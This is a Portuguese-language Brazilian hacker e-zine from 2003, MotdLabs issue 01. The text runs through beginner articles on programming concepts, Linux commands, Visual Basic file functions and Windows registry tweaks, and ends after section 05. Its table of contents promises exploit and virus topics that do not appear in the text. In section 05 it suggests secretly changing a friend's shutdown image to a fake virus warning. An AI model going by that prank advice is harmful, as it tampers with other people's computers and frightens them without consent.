ZINES — underground e-zine archive source
text size: CRT glow:
~/BRAZILIAN/Motd Guide/motd1
                                               dP         dP
                                               88         88
                         88d8b.d8b. .d8888b. d8888P .d888b88
                         88'`88'`88 88'  `88   88   88'  `88
                         88  88  88 88.  .88   88   88.  .88
                         dP  dP  dP `88888P'   dP   `88888P8

                                          oo       dP
                                                   88
                        .d8888b. dP    dP dP .d888b88 .d8888b.
                        88'  `88 88    88 88 88'  `88 88ooood8
                        88.  .88 88.  .88 88 88.  .88 88.  ...
                        `8888P88 `88888P' dP `88888P8 `88888P'
                             .88                    Número 01
                         d8888P

E-zine lançada oficialmente dia 15 de Novembro de 2003.

http://www.motdlabs.org
contato@motdlabs.org
irc.brasnet.org   /join #motd

ATENÇÃO: O  MotdLabs adverte  que não  será responsável  por qualquer tolice que
você venha a fazer.  Estou certo de que  estará consciente que ao  tentar por em
prática quaisquer técnicas descritas no decorrer desta zine, você poderá se  dar
mal. Ela foi criada apenas para propósitos educacionais e cabe a você decidir  o
que  fará com esse poder em suas mãos. Só não venha reclamar que se deu mal  por
ter   feito  algo  que aprendeu  nesta  mesma.  Obrigado pela  a  atenção  e boa
leitura!!! :)

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-=[ Colaboradores ]=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

IP_FIX......................................................ip_fix@motdlabs.org

Cod3x......................................................codexmail@bol.com.br

SKOFF........................................................skoff@motdlabs.org

hallucination................................................hallz@motdlabs.org

BlackSheep182.........................................blacksheep182@brasnet.org

Nash Leon…................................................nashleon@yahoo.com.br

D4rwin........................................................d4rwin@bol.com.br

Inferninh0..............................................inferninho@motdlabs.org

Caiobat.....................................................caiobat@brasnet.org

Vo5.............................................................vo@motdlabs.org

RedEyes.....................................................redeyes@brasnet.org

Greenhornet............................................greenhornet@motdlabs.org

Jakk_.........................................................jakk_@brasnet.org

HazzarD.....................................................hazzard@brasnet.org

SkyNet45.....................................................skynet@bsdmail.org

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-=[ Índice ]=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

[ 01 ] Introdução (by IP_FIX)
[ 02 ] Introdução à Programação (by D4rwin)
[ 03 ] Introdução ao Linux (by BlackSheep 182)

Programação
[ 04 ] Programando em Visual Basic (by SKOFF)
[ 05 ] Programando em Badcom (by IP_FIX)
[ 06 ] Programando API em C++ para Windows (by Vo5)

Linux
[ 07 ] Instalando Linux pela 1º vez (by IP_FIX)
[ 08 ] Permições de Arquivos (by Jakk_)
[ 09 ] Programas em Modo Texto (by greenhornet)

Hacking
[ 10 ] Hackeando pelo Google (by BlackSheep182)
[ 11 ] Códigos para Celulares (by Caiobat)
[ 12 ] Introdução ao Hacking Ético (by Nash Leon)
[ 13 ] Básico Shell Code (by Nash Leon)
[ 14 ] Básico Buffer OverFlow (by Nash Leon)

Diversos
[ 15 ] Varreduras e Varreduras (by hallucination)
[ 16 ] Vírus de Macro (by SKOFF)
[ 17 ] Hardware (by RedEyes)
[ 18 ] Básico sobre Redes (by SkyNet45)
[ 19 ] FAQ – Trojans (by D4rwin)
[ 20 ] Telefonia (by Hazzard)
[ 21 ] Segurança Digital (by Inferninh0)
[ 22 ] MOTD no Conisli (by IP_FIX)
[ 23 ] Agradecimentos e Links

“Don´t learn to hack, hack to learn.” – 2600

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-=[ 01 ]=-=[ Introdução ]=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

   Na data 31/07/03 foi criado o #MOTD. Depois de desentendimentos e perda do no
nosso  ex-canal  virii,  surge  ele  com  pessoas  realmente  competentes,   com
interesses iguais e uma  mesma ética: Livre liberação  de infos e discussão  dos
mesmos de forma consciente.
   Esse é um grupo novo,  com 95% formado por Newbies  que tem sede de infos  de
conteúdo e muita disposição de aprender,  3% são gente de nível bem  acima. Não,
não são hackers, são “Fuçadores”, que possui um nível maior de experiência e que
com a ajuda deles, o grupo está crescendo, não só em número, mas em conhecimento
geral; uma mão  lava a outra  e temos que  nos unir se  quisermos alcançar nosso
objetivo que é obter total conhecimento  e passar-lhe adiante para todos. Os  2%
restantes do  grupo são  gente sem  escrúpulos que  só querem  coisas prontas  e
respostas  completas para  suas perguntas,  nem preciso  falar a  quem estou  me
referindo, mas só falo uma coisa:  “- Lamers, Script Kiddies, Defacers e  afins,
aviso que esta e-zine assim como o grupo #motd, não foram feitos para vocês.  Se
quiserem algum conselho, vão  para http://www.google.com.br  e digitem:  exploit
. Afinal, é só isso que sabem fazer!”.
   Se você não se encaixa no último perfil, bem-vindo ao grupo e aproveite  essa
e-zine. Ela é a terceira de nossa geração e a primeira com o nome do novo grupo.
Os assuntos  estão bem  variados e  nos esforçamos  ao máximo  para fornece-lo a
você,  jovem  fuçador, e  espero  que tenhamos  o  ajudado com  algumas  de suas
dúvidas. Lembrando que escremos essa zine para Newbies, mas Newbies ao ponto  ex
-lamer e aos que tem curiosidade do mundo underground.
   Por que escrevemos essa e-zine?  Foi para ajudar aos newbies/fuçadores  recém
chegados a esse submundo que estão tendo dificuldades de conseguir uma base para
conseguirem caminhar sozinhos  e desenvolver coisas  por sí próprio.  Escrevemos
também para aqueles que “querem sair”  da vida de kiddies, defacers e  tals para
seguir uma ética que não degrina a imagem “HACKER” que é mal usada pela mídia  e
é também usada para fins lucrativos, mas que pretendemos mudar isso.
   A respeito das matérias, muita gente  colaborou com o que pôde. Fiquei  feliz
que nas últimas semanas recebi vários  e-mails de gente querendo ajudar o  grupo
com  o mínimo  que pudesse  e outras  já mandando  suas matérias  prontas. Para
aqueles que ficou me devendo matéria e/ou não conseguiram me entregar, digo para
guardarem, melhorarem e  me enviarem pra  já organizar para  próxima edição. Não
tem previsão de lançamento as próximas edições, já que varia muito da  motivação
do  pessoal e  disposição, mas  assim que  tivermos infos  suficientes ela  será
lançada o mais rápido possível.
   Percebam que  os tópicos  são de  assuntos básicos/intermediários  que são de
fácil entendimento para os navegadores de primeira viagem e um prato cheio  para
aqueles que não cansam  de fixar o que  já aprendeu. Pretendemos no  decorrer do
tempo disponibilizarmos  informações de  maior conteúdo,  coisas da  atualidade,
novas  técnicas, etc...Assim  propiciando uma  melhor fonte  de informações  não
repetidas que geralmente encontramos na net afora.
   Antes  que  faça uma  crítica  negativa, lembre-se:  Estamos  escrevendo para
Newbies. Repetindo: Novatos no underground. Se você achou os conteúdos de  baixo
nível, faça uma  das duas coisas  que irei citar:  Pare de ler  e vá fazer outra
coisa;  ou  procure  nos  ajudar  passando  seu  conhecimento.  Conhecimento   e
informação foram feitos para ser passado adiante, não para se elitizar.
   Encerro  aqui dizendo  que o  hacking não  é para  qualquer um.  Se todo  que
quisesse virassem hacker, o mundo estaria infestado. Hacking é um estudo que não
tem fim, limites, barreiras... Ele sempre te leva pra mais longe, cada vez  mais
longe e quando você se  dá conta, não está nem  na metade do fim do  curso; pois
sempre aparecerá  novos degraus  e bifurcações  para subir  essa escada infinita
chamada HACKER...
   Agradeço desde já, o grupo MOTD, que cada vez mais me surpreende com a  garra
firme e a seriedade que estão levando o hacking veradeiro à frente. E é claro ao
pessoal  do  CDM,  Clube  dos  Mercenários,  que  possui  os  mais  variados   e
surpreendentes fuçadores do Brasil. Thanks for all!!

Atenciosamente,

IP_FIX.

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-=[ 02 ]=-=[ Introdução à Programação ]=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Conceitos de Programaçao

O que e um programa?

E um conjunto de instruçoes que  dizem ao computador o que fazer.  Esse conjunto
de  instruçoes, escritas  originalmente pelo  programador, e  chamado de  codigo
-fonte.  Existem varias  linguagens que  vc pode  aprender com  a finalidade  de
escrever programas.
O programa deve ser selecionado pela sua capacidade de realizar a tarefa que  vc
deseja que ela execute. Os  tipos de programas incluem planilhas,  processadores
de txt, programas de editoraçao eletronica, banco de dados e muitos outros.

Como funcionam os programas?

O DOS (Disk Operating System) e  em essencia o cerebro do computador.  O sistema
operacional e  um programa  de computador.  Sem ele,  seu computador nao poderia
funcionar.  Ele  executa  instruçoes  armazenadas  em  um  arquivo  de  programa
executavel.  Essas instruçoes  proporcionam as  funçoes normais  de exibiçao  ao
disco. As intruçoes codificadas no DOS  em nada se parecem com as  instruçoes do
programa original; elas estao escritas em codigo de maquina.

Codigo de Maquina

Para  que  um computador  possa  compreender um  programa,  as instruçoes  desse
programa devem ser traduzidas para a linguagem de maquina, uma serie de  valores
0 e 1 chamados numeros  binarios. Esses numeros binarios representam  instruçoes
no programa. Imagine um computador como um diplomata dos EUA que so fala  arabe.
Para entender discursos em outros idiomas, o diplomata deve usar os serviços  de
um tradutos. Os programadores usam compiladores para traduzir suas instruçoes de
programa em uma forma legivel por  um sistema operacional; essa forma e  chamada
de codigo de maquina

Compiladores e Interpretadores

Um programador tem utilizar um compilador ou um interpretador a fim de  traduzir
o codigo-fonte de alto nivel em codigo de maquina de baixo nivel.
A principal diferença  entre um compilador  e um interpretador  esta na maneira
como executam um programa. Um compilador traduz todo o programa em linguagem  de
maquina  antes  de  iniciar  a   execuçao  das  instruçoes.  Ao  contrario,   um
interpretador le e  executa uma instruçao  de cada vez.  A vantagem da  execuçao
pelo compilador  e que  ela e  muito mais  rapido do  que a  execuçao feita pelo
interpretador.  A  desvantagem de  um  compilador e  que  o programador  precisa
esperar ate que todo o programa seja compilado antes de ser possivel identificar
qualquer erro (nao importando o quanto esse erro seja pequeno).

Interface

O termo interface  se refere ao  aspecto de um  programa para seus  usuarios. Na
maioria dos casos, um programa e projetado com a finalidade de ser utilizado por
outros. Interface e o termo generico usada para designar como o programa e vista
na tela do usuario e a maneira pela qual o usuario se comunica com ele.

Variaveis

Para que se possa entender programaçao, e necessario saber o que sao variaveis e
pra que servem. A variavel e um dos elementos fundamentais em qualquer linguagem
de programaçao. Voce deve se lembrar da algebra elementar, aquela que vc  odeia,
HeHeHeHe, entao, variavel em programaçao e quase a mesma coisa. Os  computadores
utilizam  variaveis de  maneira muito  semelhante ao  modo como  sao usadas  em
algebra. Os dados  armazenados em uma  variavel podem se  modificar. Em algebra,
uma expressao tipica e y = x+2. O valor y se modifica conforme o valor x; x e  y
sao chamados de variaveis porque seus valores podem se alterar.

Tipos de Intruçoes

A medida  que vc  começa a  escrever programas,  passa a  conhecer varios  tipos
diferentes de instuçoes de programaçao. Entre elas temos :

----> Intruçoes de Entrada
----> Intruçoes de Saida
----> Intruçoes Condicionais
----> Intruçoes de Seleçao de caso
----> Intruçoes de Atribuiçao
----> Intruçoes de Chamada a Sub-Rotina
----> Funçao
----> Comentarios
----> Loops

Instruçoes de Entrada

Todas as linguagens de programaçao tem instruçoes de entrada, que sao instruçoes
para levar informaçoes a um programa. Uma lista de compras e um exemplo  simples
de instruçao de entrada. Vc entra com cada item que planeja adquirir no mercado,
e seu programa instrui o computador para imprimir a lista em sua impressora.

Instruçoes de Saida

Nao importa o  quanto o seu  programa seja bom,  ninguem o conhecera  se ele nao
tiver instruçoes de saida. Pode-se afirmar que a finalidade de um programa e sua
saida; um programa deve exibir seus resultados.
Contudo, saida significa mais que algo impresso na tela. Da mesma forma que  as
instruçoes de  entrada servem  para que  o programa  receba dados  de entrada de
diferentes maneiras, as  instruçoes de saida  podem enviar a  saida de mais  uma
maneira. Nos programas que tem entrada mas nao apresentam saida, as  informaçoes
podem ser recolhidas  e manipuladas, mas  o codigo nao  tem qualquer efeito.  Ao
adicionar  uma saida  ao seu  programa, vc  pode ver  o resultado  nas açoes  do
programa; pode enviar essas informaçoes  para a tela, a impressora,  um arquivo,
etc.

Instruçoes Condicionais

"Se nao pode aguentar o calor, fique fora da cozinha."

Essa e uma  instruçao condicional. Seu  nome vem do  fato de que  ela avalia uma
condiçao e entao executa uma açao com base nessa condiçao. Por exemplo,se(vc nao
aguenta o calor), entao fique fora da cozinha.

Instuçoes de Seleçao de Caso ou Select Case

As instruçoes case sao uma forma abreviada de escrever instruçoes  condicionais.
Se vc precisar avaliar uma expressao  longa ou complicada e tiver de  compara-la
com dois ou mais valores condicionais  (dois ou mais testes sobre a  expressao),
vc pode substituir os testes por uma instruçao de selecao de caso.

Instruçoes de Atribuiçao

As  instruçoes  de atribuiçao  designam  valores a  uma  variavel. Um  sinal  de
igualdade ( = ) e a forma  usada com mais frequencia para fazer uma  atribuiçao.
Vc pode atribuir um valor a qualquer variavel do mesmo tipo. As expressoes

A = B e Total = Media

sao instruçoes  de atribuiçao.  Vc pode  atribuir qualquer  variavel a uma outra
variavel do mesmo  tipo, determinar o  valor de uma  expressao e considerar  uma
variavel  igual a  ela, e  tambem definir  uma variavel  como resultado  de uma
funçao.

Intruçoes de Chamada a Sub-Rotina

Quando e necessario  uma açao repetitiva  que utiliza duas  ou mais instruçoes,
esse  grupo de  instruçoes e  um forte  candidato a  se transformar  em uma  sub
-rotina. Uma sub-rotina e, na realidade,  uma seçao separada de codigo, fora  da
sequencia de  execuçao principal  do programa.  Para dizer  ao seu  programa que
execute  a sub-rotina,  e utilizada  a palavra-chave  CALL na  maior parte  das
linguagens.

Funçao

Uma  funçao  e semelhante  a  uma sub-rotina  no  fato de  que  e um  grupo  de
instruçoes relacionadas  que podem  ser executadas  por uma  unica instruçao  de
atribuiçao. Como vc ja sabe, uma sub-rotina retorna ao programa principal quando
termina sua tarefa. Uma funçao faz a  mesma coisa; a unica diferença e que  traz
com ela um valor.

Comentarios
Um comentario e uma anotaçao ou explicaçao do codigo e eh uma parte  importante
da caixa de ferramentas do programdor. Escrever comentarios junto com seu codigo
pode ajudar vc ou qualquer pessoa que leia seu programa a compreender o que  faz
cada seçao do programa. A seguir segue alguns exemplos de comentarios em Pascal,
C e C++:

Pascal
{Este e um  exemplo de comentario  em Pascal, o  comentario pode continuar  por
varias linha ate chegar a chave final.}

C
/* Este e um comentario em C.  Tudo que estiver escrito na sequencia de  barra e
asterisco(/*  e /*)  serao ignorados  pelo programa.  Assim como  no Pascal,  o
comentario so acaba quando chegar a barra e asterisco que segue. */

C++
// Este e  um comentario em  C++, e diferente  das outras linguagens,  para cada
//linha de comentario se utiliza duas barras antes de inciar a frase.

Loops

Um loop repete uma instruçao ou  um conjunto de instuçoes ate que  uma condiçao
que vc  especificou seja  satisfeita. Existem  varias especies  de instruçoes de
loop; com elas, vc pode controlar o fluxo do seu programa.

Tipos de Dados Simples e Operadores Elementares

Os computadores foram criados para processar dados. Os programas de  computador
recebem dados brutos (em geral do teclado ou de um arquivo de disco),  processam
esses dados e produzem informaçoes com significao. Abaixo segue um modelo basico
de um programa de computador:

 _________              ____________________                __________________
|         |            |                    |              |                  |
| Entrada |  ------->  | Processa a Entrada | -----------> |  Produz a Saida  |
|_________|            |____________________|              |__________________|

Um programa tem de ser capaz de  armazenar sua entrada em algum lugar, para  que
possa trabalhar com os dados e processa=los, produzindo alguma saida util para o
usuario. Todos os dados processados por um programa sao armazenados no  programa
como uma variavel ou uma constante.

Variaveis e Constantes

Como  o  nome  jah diz,  variaveis  sao  aquelas que  podem  variar.  Em outras
palavras, as variaveis possuem dados que se modificam com o decorrer do programa
ja as constantes sao valores que nunca se alteram.

Tipos de Dados

Os dados, estejam contidos em variaveis ou constantes, podem ser de  diferentes
tipos. Veja a tabela a seguir:

 ______Nome_______
|                 |
| Inteiros        |
| Inteiros longos |
| Reias           |
|_________________|

Arrays

Depois de estar programando por algum tempo, vc poderia descobrir a necessidade
de  um tipo  especial de  variaveil, denominada  array. Imagine  que vc  tem de
controlar uma centena e valores e pontos em um torneio de cross-crountry, e deve
computar a media entre os pontos, determinar a maior e menor contagem de pontos,
alem de calcular mais algums estatisticas. Aplicando o que vc sabe ate agora, vc
precisaria  de  cem  variaveis  para  armazenar  as  cem  contagens  de  pontos.
Entretanto, vc nao gostaria de ter que criar uma centena de nomes diferentes  de
variaveis para guardar todos os  totais de pontos; isso seria  muito trabalhoso.
Alem disso, se quisesse somar  todos esses valores, seria preciso  uma instruçao
semelhante a esta:

total1 = pontos1 + pontos2 + pontos3 + ........ + pontos100

Depois de vc ter somado os cem valores de pontos, essa instruçao espalharia  por
diversas  linhas  em um  programa.  As linguagens  de  programaçao oferecem  uma
alternativa muito melhor: os arrays. Uma array e uma lista de variaveis que  tem
todas o mesmo nome. Um array contem  mais de uma variavel, cada uma delas  com o
mesmo  noem das  outras, mas  ha um  forma pela  qual vc  e seu  programa podem
distinguir uma variavel da outra. Por  faz-se necessario o uso de um  subscrito.
Subscrito  e  um numero  de  sequencia, que  começa  em 0  ou  1, dependendo  da
linguagem, e que  informa ao computador  quais dentre as  variaveix do array  vc
deseja utilizar. A seguir tem um exemplo de array:

pontos(1) | pontos(2) | pontos(3) | ...... | pontos(100)

OBS.: em algumas linguagens como C, se faz uso de [] ao inves de ().

Ta aew o txt. Se vc chego ate aqui parabens, eh um txt grande. So quero dizeh ki
isso eh tudo que eu sei de programaçao, ou melhor, introduçao a programaçao. Faz
poco tempo que me envolvo com issso. Flw aew.

Texto escrito por : D4rwin

d4rwin@bol.com.br ( irc.brasnet.org - #motd #phreak - nick: D4rwin )

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-=[ 03 ]=-=[ Introdução ao Linux ]=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Índice :

1 - Introdução a linux
2 - Unix\linux
3 - Organização do linux
4 - Comandos do linux
5 - Finalizando

Introdução ao linux :

Todo mundo sabe que  linux é um sistema  operacional muito usado por  empresas ,
sites de administração e inclusive pelos hackers .
O  linux foi  inicialmente programado  por Linus  Torvalds ,  ainda quando  era
estudante  da universidade  de Helsinki  , na  Finlândia Daí  o pingüim  ser um
símbolo tão bom para esse sistema operacional .

Unix\Linux :

O linux recebeu  esse nome com  referencia a seu  criador e, é  claro , por mera
semelhança ao Unix .
Linux  surgiu como  um projeto  pessoal de  Linus Torvalds  , que  iniciou seus
trabalhos inspirando - se no modelo Minix , um pequeno sistema operacional  Unix
desenvolvido por Andy Tannembaum.

Organização do linux.

O linux pode ser dividido operacionalmente em três partes distintas ;

# Kernel
# Shell
# utilitarios e aplicativos

O kernel é o linux propriamente dito . O que realmente chamam de linux é a  suas
distribuições.
O Shell é um programa que interpreta comandos digitados por um usuário e  envia
para o kernel . Além disso o  Shell é uma linguagem de programação completa  com
variáveis , ponteiros e etc.
Os aplicativos e utilitários são os principais programas adicionados ao linux ,
como editores de texto , navegadores , mailers e etc.
O  linux  estruturalmente  organiza seus  arquivos  em  diretórios funcionais  ,
conformo mostro abaixo :

/bin contem os  principais arquivos executáveis  ou links de  binários de outros
diretórios .

/boot contem arquivos de referencia do boot de inicialização do linux.

/dev contem arquivos dispositivos de entrada e saída .

/etc contem  arquivos de  configuração do  sistema ,  de informação  de redes  ,
senhas , logons e etc.

/home contem os diretórios dos usuários cadastrados nos sistema.

/lib contem arquivos de bibliotecas

/mnt contem links de montagem e partições.

/root diretório local do usuário

/sbin contem arquivos de sistemas essenciais

/tmp contem arquivos temporários gerados por certos usuários.

/usr contem arquivos de usuários , diretórios de programas instalados

/var contem arquivos mais importantes da administração e gerencia do sistema.

Comandos dos linux :

Quero mostrar aqui alguns comandos para  o usuário newbie usar o linux  com mais
facilidade :

Adduser cria uma conta para um novo usuário

Cal mostra o calendário

Cat imprime o conteúdo do arquivo na tela

Cd muda de diretório

Chmod muda as permissões de arquivos e diretórios

Clear limpa a tela

Cp copia arquivos .

Date mostra a data e a hora atual

Du mostra o espaço utilizado por um aquivo

Echo mostra uma linha de texto

Find procura arquivos

Finger aponta um usuário e mostra informações sobre ele

Free mostra o espaço livro na memória

ftp comando usado para permitir transferência de arquivos

grep procura por nomes dentro de arquivos

gunzip descompacta arquivos com extensão gz

help mostra uma lista de comandos comuns

hostname informa o nome do host

ls lista os arquivos do diretório

logout finaliza a Shell

mail permite que usuários recebem emails ou não.

Mkdir cria um diretório

Pwd mostra odiretorio onde você se encontra

rlogin permite o login remoto

rmdir deleta diretorios

shutdown termina processos e renicia a maquina

telnet comando que permite comunicar um host com outro (permite acesso remoto).

Vi editor de texto

Who mostra usuários logados no sistema naquela hora

Finalizando :

Bom como viram forneci algumas informações básicas que ajudaram muito o  usuario
newbie a navegar pelo sistema , espero que façam bom proveito e em breve estarei
escrevendo algo novo

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-=[ 04 ]=-=[ Programando em Visual Basic ]=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Poderia dizer que estou escrevendo este artigo porque não tenho nada pra  fazer,
mas nem é isso, estou escrevendo ele porque as funções as quais estou explicando
são pouco encontradas em texto adquiridos na Internet.
Pretendo  no  decorrer  da  E-zine  ir  explicando  mais  sobre  algumas  outras
funções... só que nem sei se vou continuar fazendo isso mesmo porque ando  muito
ocupado.... mas seja o que Deus quiser :)

Comandos:

Kill ----> Função Utilizada em VB para deletar arquivos
Sint: Kill "Arquivo.exe"
Exe: Kill "C:\Algo1\algo.exe

Explicação:
Ele vai Deletar o Arquivo Algo.exe contido na pasta Algo1
OBS.: Caso o programa não encontre  o arquivo irá aparecer uma Mensagem  de erro
que não lembro o nome. :(

--------------

ChDir ----> Função Utilizada para a mudança do diretório principal
Sint: ChDir "Diretório"
Exe: "C:\Algo1\"

Explicação:
Vamos supor que o diretório principal fosse C:\, agora vai ser C:\Algo1\
OBS.: Caso o Diretório não existe  irá aparecer uma mensagem de erro  que também
não lembro o nome. :(

Então preste atenção antes e verifique se o diretório existe...

---------------

ChDrive ----> Função Utilizada Para muda o Driver(unidade)
Sint: ChDrive "Letra do Driver"
Exe: ChDrive "D"

Explicação:
Caso o Driver principal fosse C:\, agora vai ser D:\
OBS.: Verifique se você tem D:\, pra evitar conflitos. :)

---------------

FileCopy ----> Função Utilizada para copiar arquivos
Sint: FileCopy "Diretório\Arquivo" "Diretório"
Exe: FileCopy "C:\autoexec.bat" "C:\windows\"

Explicação:
O programa irá pegar  arquivos e irá copiar  para um diretório (determinado  por
você).
OBS.: Verifique Se o arquivo existe e se o diretório esta correto. :)

---------------

FileLen -----> Função Utilizada para adquiri informações do Arquivo (Tamanho  do
Arquivo)
Sint: FileLen "Diretório\Arquivo.extensão"
Exe: FileLen "C:\windows\telene.exe"

Explicação:
Este comando tem  a principal finalidade  de fornecer o  tamanho do arquivo,  no
caso do exemplo oi o telnet
OBS.: Verifique se o arquivo que você escolheu existe antes de usar esse comando. :)

--------------

FileDateTime -----> Função Utilizada para mostrar a hora que o arquivo foi criado
Sint: FileDataTime "Diretório\arquivo.extensão"
Exe: FileDataTime "C:\autoexec.bat"

Explicação:
Ele irá pegar os dados de quando o autoexec.bat foi criado :)
OBS.: NDA

--------------

MkDir -----> Função Utilizada para criar Pastas(Existe isso em MSDOS).
Sint: MkDir "Diretório"
Exe: MkDir "C:\Algo\"

Explicação:
o Diretório Algo será criado na unidade C:\
OBS: NDA

-------------

RmDir ------> Função Utilizada para Remover Diretórios.
Sint: RmDir "Diretório"
Exe: RmDir "C:\Algo" ou "Algo"

Explicação:
O diretório Algo irá ser removido da unidade C:\
OBS.: Verifique Antes se o diretório Existe. :)

------------

GetAttr  ----->  Função Utilizada  para  indicar os  atributos  de uma  Arquivo;
Seguintes Atributos: Normal, Somente Leitura, Oculto, Sistema e Arquivo.
Sint: Attr "Diretório\Arquivo"
Sint: Attr "C:\autoexec.bat"

Explicação:
Irá mostrar o Atributo ativado no autoexec.bat

--------------

SetAttr -----> Função Utilizada para Mudar ou Adicionar Atributos de um arquivo.
Sint: SetAttr "Diretório\Aruivo", Atributo
Exe: SetAttr "C:\autoexec.bat", 32

Explicação:
O Atributo que será adicionado ao autoxec.bat é "Arquivo"
OBS.: Seguintes Valores para os Atributos: (0 = Normal, 1 = Somente Leitura, 2 =
Oculto, 4 = Sistema e 32 = Arquivo)

--------------

Name -----> Função Utilizada para renomear arquivos
Sint: Dim NomeAntigo, NovoNome
NomeAntigo = "NOMEANTIGO": NovoNome = "NOVOARQUIVO"
Name NomeAntigo As NovoNome

Exe: Dim Arquivoum, Arquivodois
Arquivoum = "C:\MEUDIR\ARQUIVOANTIGO.exe": Arquivodois = "C:\MeuDir\NOVOARQUIVO.exe"
Name Arquivoum As Arquivodois

Explicação:
Primeiramente  nós  declaramos  duas  Variaveis  usando  a  função  Dim(variavel
Arquivoum e Arquivodois) depois definimos o que iria ser cada variavel, no  caso
seria essa linha:

Arquivoum = "C:\MEUDIR\ARQUIVOANTIGO.exe": Arquivodois = "C:\MeuDir\NOVOARQUIVO.exe"

e logo após isso nó usamos a função Name para o renomeanto dos arquivos.

OBS.: NDA

----------------

Escrito por SKOFF ou _LiNe_SKOFF_

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-=[ 05 ]=-=[ Programando em Badcom ]=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Olá galera  Newbie, estou  aqui mais  uma vez  para encher  o saco  de vocês com
informações não  interessantes, mas  que todo  mundo (quase  todo mundo)  sabe e
gosta  de fazer  no bom  e velho  windows, ou  melhor, no  péssimo e  histórico
rwindows.
O que você verá daqui em diante  são truques que muita gente sabe e  você sempre
verá  isso em  algum computador  um dia.  Então chega  de papo  e vamos  ao que
interessa!!! :)

1 - Mudando a tela do "Seu computador já pode ser desligado com segurança."

Isso é fácil de ser feito:

a) Vá no localizar e digite: *.sys;
b) Procure um arquivo chamado "Logos.sys";
c) Dê um duplo clique nele e abra com o velho Paint, "MSPAINT";
d) Ok,  está na  tela a  figura, agora  basta você  modifica-la desenhando  e/ou
escrevendo tudo que quiser e em seguida salve com o mesmo nome (logos.sys) e  no
mesmo diretório  (C:\WINDOWS) e  pronto!!! Desligue  o computador  e se  divirta
fazendo isso no micro de seus amigos.

DICAS: Experimente  abrir também  o "Logow.sys"  e vejá  a figura.  Faça isso no
micro de seus amigos colocando uma mensagem de erro ou de um vírus, eles ficarão
assustados eu garanto... :D.

ATENÇÃO: Como nem  tudo é mil  maravilhas, antes de  você modificar os  arquivo,
faça um backup dele. E outra, NÃO  AUMENTE OS PIXELS DELE!!! Senão a imagem  vai
ficar toda torta  e abstrata quando  você desligar!!! PS:  PIXEL é o  tamanho da
figura. (Que foi? Não é todo mundo que sabe o que é pixel... :D).

2 - Mudando a velocidade do menu de programas do botão iniciar.

Ahhh, esse aqui já  tá manjado mas tudo  bem. Esse é mais  fácil que o de  cima.
Faça o seguinte:

a) Clique em "Iniciar", "Executar" e digite "Regedit";
b) Calma não se assuste, agora clique no sinal de + do "HKEY_CURRENT_USER"  para
ver as sub-pastas;
c) Abra também a sub-pasta "Control Panel" e clique na pasta "Desktop";
d) Ok, tá vendo isso que apareceu? Pois bem, é ali que vamos adicionar uma  nova
seqüência;
e) Clique  com o  botão direito  do mouse  no fundo  e quando  aparacer um  menu
escolha "Novo" e "Valor da seqüência";
f) Nomeie ela para "MenuShowDelay" e o valor dela para "0"(zero);

Pronto! Basta reiniciar o computador ou simplesmente fazer um logoff para surtir
efeito!!!

DICAS:  Isso só  server pra  aumentar a  velocidade do  menu de  programas, mas
experimente aumentar o valor de 0 para digamos... 9999999...!!! :).

ATENÇÃO: O Registro (regedit)  não é brinquedo não.  Um negocinho que você  mude
sem querer  seu micro  poderá ficar  desconfigurado permanetimente  (se você for
leigo é claro...).

3 - Mudando a hora  que fica na bandeja da  barra do menu iniciar para  qualquer
nome que você queira.

Isso daqui é fácil como o de  cima, mas não conheço muita gente que  manje desse
esquema. Então, faça o seguinte:

Abra o bom, velho e perigoso "Regedit";

Vá para "HKEY_CURRENT_USER", "Control Panel" e "International";

Crie um "Valor da seqüência" e nomeie de "sTimeFormat" e seu valor para "IP_FIX";

Reinicie o computador  ou simplesmente faça  o logoff e  veja os resultados  :).
